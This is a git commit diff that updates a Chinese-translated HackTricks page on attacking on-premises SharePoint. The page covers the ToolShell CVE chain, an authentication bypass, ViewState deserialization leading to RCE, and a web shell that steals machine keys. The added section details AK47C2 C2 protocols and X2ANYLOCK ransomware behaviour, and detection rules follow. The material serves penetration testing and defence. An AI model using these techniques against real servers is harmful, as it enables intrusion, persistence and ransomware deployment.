mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/microsoft-sh
This commit is contained in:
parent
7431b8920c
commit
a6b88fdca8
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> Microsoft SharePoint(本地部署)建立在ASP.NET/IIS之上。因此,大多数经典的网络攻击面(ViewState、Web.Config、web shells等)都存在,但SharePoint还附带数百个专有的ASPX页面和网络服务,显著扩大了暴露的攻击面。此页面收集了实用技巧,以枚举、利用和在SharePoint环境中持久化,重点关注Unit42披露的2025年利用链(CVE-2025-49704/49706/53770/53771)。
|
||||
> Microsoft SharePoint(本地部署)建立在ASP.NET/IIS之上。因此,大多数经典的网络攻击面(ViewState、Web.Config、web shells等)都存在,但SharePoint还附带数百个专有的ASPX页面和网络服务,显著扩大了暴露的攻击面。 本页面收集了实用技巧,以枚举、利用和在SharePoint环境中持久化,重点关注Unit42披露的2025年利用链(CVE-2025-49704/49706/53770/53771)。
|
||||
|
||||
## 1. Quick enumeration
|
||||
```
|
||||
@ -29,11 +29,11 @@ python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>
|
||||
|
||||
### 2.2 CVE-2025-49706 – Improper Authentication Bypass
|
||||
|
||||
同一页面信任 **X-Forms_BaseUrl** 头来确定站点上下文。通过将其指向 `/_layouts/15/`,可以 **未认证** 地绕过根站点强制的 MFA/SSO。
|
||||
同一页面信任 **X-Forms_BaseUrl** 头来确定站点上下文。通过将其指向 `/_layouts/15/`,可以在 **未认证** 的情况下绕过根站点强制的 MFA/SSO。
|
||||
|
||||
### 2.3 CVE-2025-53770 – Unauthenticated ViewState Deserialization → RCE
|
||||
|
||||
一旦攻击者控制了 `ToolPane.aspx` 中的一个小工具,他们可以发布一个 **未签名**(或仅 MAC)的 `__VIEWSTATE` 值,这会触发 *w3wp.exe* 内部的 .NET 反序列化,导致代码执行。
|
||||
一旦攻击者控制了 `ToolPane.aspx` 中的一个小工具,他们可以发布一个 **未签名**(或仅 MAC)的 `__VIEWSTATE` 值,这会触发 *w3wp.exe* 内部的 .NET 反序列化,从而导致代码执行。
|
||||
|
||||
如果启用了签名,从任何 `web.config` 中窃取 **ValidationKey/DecryptionKey**(见 2.4),并使用 *ysoserial.net* 或 *ysodom* 伪造有效负载。
|
||||
```
|
||||
@ -75,27 +75,78 @@ Response.Write(MachineKey.ValidationKey);
|
||||
}
|
||||
</script>
|
||||
```
|
||||
写给:
|
||||
撰写至:
|
||||
```
|
||||
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx
|
||||
```
|
||||
该 shell 暴露了 **读取 / 轮换机器密钥** 的端点,这允许在整个农场中伪造 ViewState 和 ASPXAUTH cookies。
|
||||
外壳暴露了**读取/轮换机器密钥**的端点,这允许在整个农场中伪造 ViewState 和 ASPXAUTH cookies。
|
||||
|
||||
### 3.3 混淆变体(变体-3)
|
||||
|
||||
相同的 shell,但:
|
||||
相同的外壳,但:
|
||||
* 放置在 `...\15\TEMPLATE\LAYOUTS\` 下
|
||||
* 变量名减少为单个字母
|
||||
* 变量名缩减为单个字母
|
||||
* 为沙箱规避和基于时间的 AV 绕过添加了 `Thread.Sleep(<ms>)`。
|
||||
|
||||
### 3.4 AK47C2 多协议后门和 X2ANYLOCK 勒索软件(观察到 2025-2026)
|
||||
|
||||
最近的事件响应调查(Unit42 “Project AK47”)显示攻击者如何在**初始 RCE** 之后利用 ToolShell 链在 SharePoint 环境中部署双通道 C2 植入和勒索软件:
|
||||
|
||||
#### AK47C2 – `dnsclient` 变体
|
||||
|
||||
* 硬编码的 DNS 服务器:`10.7.66.10` 与权威域 `update.updatemicfosoft.com` 通信。
|
||||
* 消息是用静态密钥 `VHBD@H` XOR 加密的 JSON 对象,十六进制编码并嵌入为**子域标签**。
|
||||
|
||||
```json
|
||||
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
|
||||
```
|
||||
|
||||
* 长查询被分块并以 `s` 为前缀,然后在服务器端重新组装。
|
||||
* 服务器以 TXT 记录回复,采用相同的 XOR/十六进制方案:
|
||||
|
||||
```json
|
||||
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
|
||||
```
|
||||
* 版本 202504 引入了简化格式 `<COMMAND>::<SESSION_KEY>` 和分块标记 `1`、`2`、`a`。
|
||||
|
||||
#### AK47C2 – `httpclient` 变体
|
||||
|
||||
* 重新使用相同的 JSON 和 XOR 例程,但通过 `libcurl`(`CURLOPT_POSTFIELDS` 等)在**HTTP POST 主体**中发送十六进制数据。
|
||||
* 相同的任务/结果工作流程允许:
|
||||
* 任意 shell 命令执行。
|
||||
* 动态睡眠间隔和杀死开关指令。
|
||||
|
||||
#### X2ANYLOCK 勒索软件
|
||||
|
||||
* 通过 DLL 侧加载加载的 64 位 C++ 有效负载(见下文)。
|
||||
* 使用 AES-CBC 加密文件数据 + RSA-2048 包装 AES 密钥,然后附加扩展名 `.x2anylock`。
|
||||
* 递归加密本地驱动器和发现的 SMB 共享;跳过系统路径。
|
||||
* 投放明文说明 `How to decrypt my data.txt`,嵌入静态**Tox ID**以进行谈判。
|
||||
* 包含内部**杀死开关**:
|
||||
|
||||
```c
|
||||
if (file_mod_time >= "2026-06-06") exit(0);
|
||||
```
|
||||
|
||||
#### DLL 侧加载链
|
||||
|
||||
1. 攻击者在合法的 `7z.exe` 旁边写入 `dllhijacked.dll`/`My7zdllhijacked.dll`。
|
||||
2. SharePoint 生成的 `w3wp.exe` 启动 `7z.exe`,由于 Windows 搜索顺序加载恶意 DLL,从而在内存中调用勒索软件入口点。
|
||||
3. 观察到一个单独的 LockBit 加载器(`bbb.msi` ➜ `clink_x86.exe` ➜ `clink_dll_x86.dll`)解密 shell 代码并执行**DLL 空心化**到 `d3dl1.dll` 以运行 LockBit 3.0。
|
||||
|
||||
> [!INFO]
|
||||
> 在 X2ANYLOCK 中发现的相同静态 Tox ID 出现在泄露的 LockBit 数据库中,表明关联重叠。
|
||||
|
||||
---
|
||||
|
||||
## 4. 检测思路
|
||||
|
||||
| 监测数据 | 为什么可疑 |
|
||||
|-----------|----------------------|
|
||||
| `w3wp.exe → cmd.exe` | 工作进程应该很少生成 shell |
|
||||
| `w3wp.exe → cmd.exe` | 工作进程很少会生成 shell |
|
||||
| `cmd.exe → powershell.exe -EncodedCommand` | 经典的 lolbin 模式 |
|
||||
| 创建 `debug_dev.js` 或 `spinstall0.aspx` 的文件事件 | 直接来自 ToolShell 的 IOCs |
|
||||
| `ProcessCmdLine 包含 ToolPane.aspx`(ETW/模块日志) | 公开的 PoCs 调用此页面 |
|
||||
| `ProcessCmdLine CONTAINS ToolPane.aspx`(ETW/模块日志) | 公开的 PoCs 调用此页面 |
|
||||
|
||||
示例 XDR / Sysmon 规则(伪 XQL):
|
||||
```
|
||||
@ -121,6 +172,7 @@ proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powers
|
||||
- [Unit42 – Microsoft SharePoint漏洞的主动利用](https://unit42.paloaltonetworks.com/microsoft-sharepoint-cve-2025-49704-cve-2025-49706-cve-2025-53770/)
|
||||
- [GitHub PoC – ToolShell利用链](https://github.com/real-or-not/ToolShell)
|
||||
- [Microsoft安全建议 – CVE-2025-49704 / 49706](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-49704)
|
||||
- [Unit42 – 项目AK47 / SharePoint利用与勒索软件活动](https://unit42.paloaltonetworks.com/ak47-activity-linked-to-sharepoint-vulnerabilities/)
|
||||
- [Microsoft安全建议 – CVE-2025-53770 / 53771](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-53770)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user